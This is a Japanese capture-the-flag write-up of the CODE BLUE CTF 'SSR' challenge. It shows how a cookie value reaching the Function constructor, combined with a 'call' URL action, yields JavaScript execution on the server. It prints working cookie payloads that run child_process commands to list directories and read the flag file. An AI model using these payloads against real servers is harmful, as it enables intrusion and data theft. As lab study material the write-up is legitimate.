ゲームのようなアプリケーション。ざっと大まかな動作をみていく。
- ガチャを回すとアイドルを入手できる。
- ガチャの際、サーバへのアクセスは発生しない(=ガチャはクライアントサイドのみで完結)
- 入手したアイドルは
idols
という名前のCookieで記録。 - レア度"SSR"のアイドル"Uzuki"を引いた場合のCookieは次のようになった:
[{"key":["ssr","0"]}]
- リロードしてレスポンス内容をみると、入手したUzukiのデータがHTMLに直接含まれていた(=Cookieを見てサーバサイドで入手済みのキャラクターを返している様子)
- 入手したアイドルには次のように連番で個別のページが作られる: http://ssr.tasks.ctf.codeblue.jp/idols/0
- 個別のページでは、次のようなURLのvoice機能のページへのリンクが張られている: http://ssr.tasks.ctf.codeblue.jp/idols/0/say1
- voice機能のページでは、短いアイドルのセリフが表示される。
大まかな動作はこんなところ。
サーバサイドでCookieを見ているようなので、まずはCookieをいじってみることにする。 voice機能のページを開きながら、Cookieの内容を以下のように適当に変えてリロードしてみた。
[{"key":["a","b"]}]
500 Internal Server Error
が返され、次のようなエラーがレスポンスボディに出た。
TypeError: Cannot read property 'b' of undefined
at generateIdol (/usr/local/ssr/build/server.js:144:49)
at /usr/local/ssr/build/server.js:172:12
at Array.map (<anonymous>)
at unserializeIdols (/usr/local/ssr/build/server.js:169:20)
at Idol.render (/usr/local/ssr/build/server.js:436:46)
at /usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:793:21
[...]
問題のタイトル「SSR」から、Server Side Rendering(SSR)が行われていると推測できる。したがって、クライアントサイドのコードとサーバサイドのコードは共有されており、クライアントサイドのコードから実質サーバサイドのコードを読むことができそうだ。
クライアントサイドのコード( http://ssr.tasks.ctf.codeblue.jp/public/client.js )からエラーに含まれるgenerateIdol
関数を探す。
var generateIdol = function generateIdol(key) {
var _key = _slicedToArray(key, 2),
rarity = _key[0],
idolNo = _key[1];
var idolClass = _idolDatabase2.default[rarity][idolNo];
return new idolClass(key);
};
エラー内容から、エラーは_idolDatabase2.default[rarity][idolNo]
の箇所でスローされたと推測できる。
エラースタックをみると、generateIdol
はIdol.render
関数から呼び出されている。
以下にIdol.render
関数の重要な部分を抜き出す。
var idol = (0, _idols.unserializeIdols)(cookies.get('idols'))[id];
//[...]
var idolAction = action || 'say1';
//[...]
_react2.default.createElement(
'p',
null,
idol[idolAction]()
)
先頭行の(0, _idols.unserializeIdols)(cookies.get('idols'))
がgenerateIdol
関数の呼び出し元のようだ。
クライアント側でブレークポイントを張って実行してみると、id
とaction
という変数が、URLのパスから、/idols/:id/:action
という形式でユーザ入力を受け取っていることがわかった。
後半で関数呼び出しを行っているidol[idolAction]()
のidolAction
変数はaction
変数から設定されるものであり、関数名にユーザ入力を使っていることになる。この関数呼び出しは、もろもろのユーザ入力を使った処理を通過した上で生成されるidol
変数に対して行われるものなので、なんだか様々な細工ができそうだ。これら一連の処理を任意のコードの実行に繋げられないか考えてみる。
Cookieから文字列を受け取るgenerateIdol
関数に戻り、クライアントサイドでブレークポイントを張って、処理される内容を見直してみる。
Cookieは次のように使われていた。
//Cookie が [{"key":["ssr","0"]}] のとき
var idolClass = _idolDatabase2.default["ssr"]["0"];
return new idolClass(["ssr","0"]);
_idolDatabase2.default
に対してkey[0]
とkey[1]
でプロパティアクセスをし、そこで生成したidolClass
変数に対して、key
の配列を引数に使って、new
を実行している。
JavaScriptでは、プロパティアクセスの形で、プロトタイプオブジェクトに定義されたメソッド/プロパティにアクセスできる。
この部分ではconstructor
プロパティにアクセスできる。constructor
プロパティにアクセスすると次のような値が返される。
_idolDatabase2.default["constructor"] === Object//true
_idolDatabase2.default["constructor"]["constructor"] === Function//true
上記のように、_idolDatabase2.default["constructor"]["constructor"]
はFunction
コンストラクタである。Function
コンストラクタを任意の引数でnew
できるということは、任意の処理が書かれた関数を作り出せるということに他ならない。
このトリックを使って任意の処理が書かれた関数を作ってみる。以下のように、Cookieのkey[0]
とkey[1]
の位置にはconstructor
を設定し、key[2]
以降に好きなコードを記述することで、任意の処理が書かれた関数を生成できた。
//Cookie が [{"key":["constructor","constructor","0%3Breturn '123'"]}] のとき
var idolClass = _idolDatabase2.default["constructor"]["constructor"];
return new idolClass(["constructor","constructor","0;return '123'"]);
// function(){constructor,constructor,0;return '123'} が生成される
今度はこの関数を実行したい。generateIdol
を呼び出しているIdol.render
関数を見る。
var idol = (0, _idols.unserializeIdols)(cookies.get('idols'))[id];
//[...]
var idolAction = action || 'say1';
//[...]
_react2.default.createElement(
'p',
null,
idol[idolAction]()
)
先頭行の(0, _idols.unserializeIdols)(cookies.get('idols'))
では、関数が配列に入った状態で返ってくるようなので、URLのパスから設定できるid
変数には0
を指定して関数への参照にする。あとは呼び出すだけだが、取り出した関数を呼び出している部分のidol[idolAction]()
では関数呼び出しの前に1つ余分なプロパティアクセスが入っている。idolAction
変数は幸いURLのパスから設定できる値なので、Function.prototype.*
のcall
かapply
を入れて、関数を呼び出す形にする。
うまくいけば、次のような形で、任意の処理が書かれた関数が呼び出されるはずだ。
var idol = [function(){constructor,constructor,0;return '123'}][0];
_react2.default.createElement(
'p',
null,
idol["call"]()
)
CookieとURLを整えて試してみる。
[{"key":["constructor","constructor","0%3Breturn '123'"]}]
というCookieを持った状態で、http://ssr.tasks.ctf.codeblue.jp/idols/0/call にアクセスする。すると、次のレスポンスが返ってきた。
[...]
<p data-reactid="18">123</p>
[...]
おお、 アイドルのセリフを表示していた部分に関数の戻り値として指定した123が表示された。サーバ側で任意のJavaScriptを実行することに成功したようだ。
ここまでこればゴールは近い。require('child_process')
からサーバのコマンドの実行を行い、フラグの場所を探る。エラーに表示されたサーバサイドのファイル周辺のパスを漁ってみる。
[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('ls /usr/local/ssr/')+''"]}]
というCookieを持った状態で、http://ssr.tasks.ctf.codeblue.jp/idols/0/call にアクセスしてみる。
<p data-reactid="18">Dockerfile
README.md
build
conf
flag
gulpfile.js
node_modules
package-lock.json
package.json
public
src
style
webpack.config.js
</p>
flag
というファイルがあるので、[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('cat /usr/local/ssr/flag')+''"]}]
というCookieを持った状態で、http://ssr.tasks.ctf.codeblue.jp/idols/0/call にアクセス。
<p data-reactid="18">CBCTF{server_side_render1ng_1s_Soo_fun}
</p>
やったー。
余談:
CTF慣れしていないこともあり、任意コード実行ができるとわかったときは、これ想定解じゃなかったら怒られそうとドキドキしながら手を進めていた…。CTFでは、どっちか怪しくても手を止めなくていいよね…?まあでも今回はたぶん想定解のはず。面白かったです。